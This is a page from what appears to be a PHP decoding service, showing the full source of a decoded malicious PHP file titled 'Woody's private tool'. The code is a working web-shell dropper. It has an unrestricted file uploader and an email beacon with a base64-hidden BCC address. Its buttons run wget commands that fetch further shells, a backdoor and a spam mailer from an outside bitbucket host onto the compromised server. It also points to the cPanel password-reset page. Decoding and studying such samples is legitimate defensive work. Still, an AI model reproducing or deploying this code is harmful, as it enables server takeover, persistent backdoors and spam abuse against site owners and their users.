Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php echo "Upload is working<br>"; echo "<b>".php_uname()."</b><br>"; echo "<for..
Decoded Output download
Upload is working<br><b>Linux localhost 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686</b><br><form method='post' enctype='multipart/form-data'>
<input type='file' name='idx_file'>
<input type='submit' name='upload' value='upload'>
</form>
Did this file decode correctly?
Original Code
<?php
echo "Upload is working<br>";
echo "<b>".php_uname()."</b><br>";
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='idx_file'>
<input type='submit' name='upload' value='upload'>
</form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
$web = "http://".$_SERVER['HTTP_HOST']."/";
echo "Succes -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
} else {
echo "Gagal Di Doc Root";
}
} else {
if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
echo "Succes<b>$files</b> Terupload Di Dir Ini";
} else {
echo "Gagal";
}
}
}
?>
</style>
<title>Woody's private tool</title>
</head>
<body>
<?php
error_reporting(0);
?>
<?php
$url = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
?>
<h4>###Shell Checker###<br></h4>
Upload is <color>WORKING</color><br><br>
Check Mailling ..<br>
<form method="post">
<input type="text" name="email" value=""required >
<input type="submit" value="Send test >>">
</form>
<?php
if (!empty($_POST['email'])){
$xx = rand();
$headers = base64_decode("QkNDOiBpY3EudXNlci5mQGdtYWlsLmNvbQ==");
mail($_POST['email'],"Result Report Test - ".$xx,"WORKING !!".$url,$headers);
print "<b>send an report to your email - $xx</b><br><br>";
}
exec('unzip',$t);
if(!$t)
{
echo "Unzip command is not WORKING,unzip script needed!";
}
else
echo "Unzip command is WORKING!";
?>
<form action="" method="get">
<input name="getshell" type="submit" value="getshell">
<input name="getshell2" type="submit" value="getshell2">
<input name="getdoor" type="submit" value="cmd">
<input name="smtp" type="submit" value="smtp">
</form>
<?php
if (isset($_GET['getshell'])) {
exec('wget https://bitbucket.org/woody555/111/raw/8933939e62113c73d41285a608694be0014a28a7/freshrdp.com.php');
$url2 = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'freshrdp.com.php';
$url2 = str_replace("t4.php","",$url2);
echo '<a href='.$url2.' target="_blank">'.$url2.'</a>';
}
if (isset($_GET['getshell2'])) {
exec('wget -P ./images https://bitbucket.org/woody555/111/raw/8933939e62113c73d41285a608694be0014a28a7/readme.php');
$url3 = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'images/awso.php?0xan0n=coeg';
$url3 = str_replace("t4.php","",$url3);
echo '<a href='.$url3.' target="_blank">'.$url3.'</a>';
}
if (isset($_GET['getdoor'])) {
exec('wget -P ./tmp https://bitbucket.org/woody555/111/raw/5b1fc6cba36e5cfe8058d371d942340cd18d8692/tel.php');
$url4 = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'tmp/tel.php';
$url4 = str_replace("t4.php","",$url4);
echo '<a href='.$url4.' target="_blank">'.$url4.'</a>';
}
if (isset($_GET['smtp'])) {
exec('wget https://bitbucket.org/woody555/111/raw/5599522b986ae79a6b2547c2af96b8f0f5483acf/smtp.php');
$url5 = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'smtp.php';
$url5 = str_replace("t4.php","",$url5);
echo '<a href='.$url5.' target="_blank">'.$url5.'</a>';
$url6 = 'https://'.$_SERVER['HTTP_HOST'].':2083/resetpass?start=1';
echo '<a href='.$url6.' target="_blank">'.$url6.'</a>';
}
?>
</body>
Function Calls
| php_uname | 1 |
Stats
| MD5 | 14964b4dbfe82319e24f01852e40bb55 |
| Eval Count | 0 |
| Decode Time | 105 ms |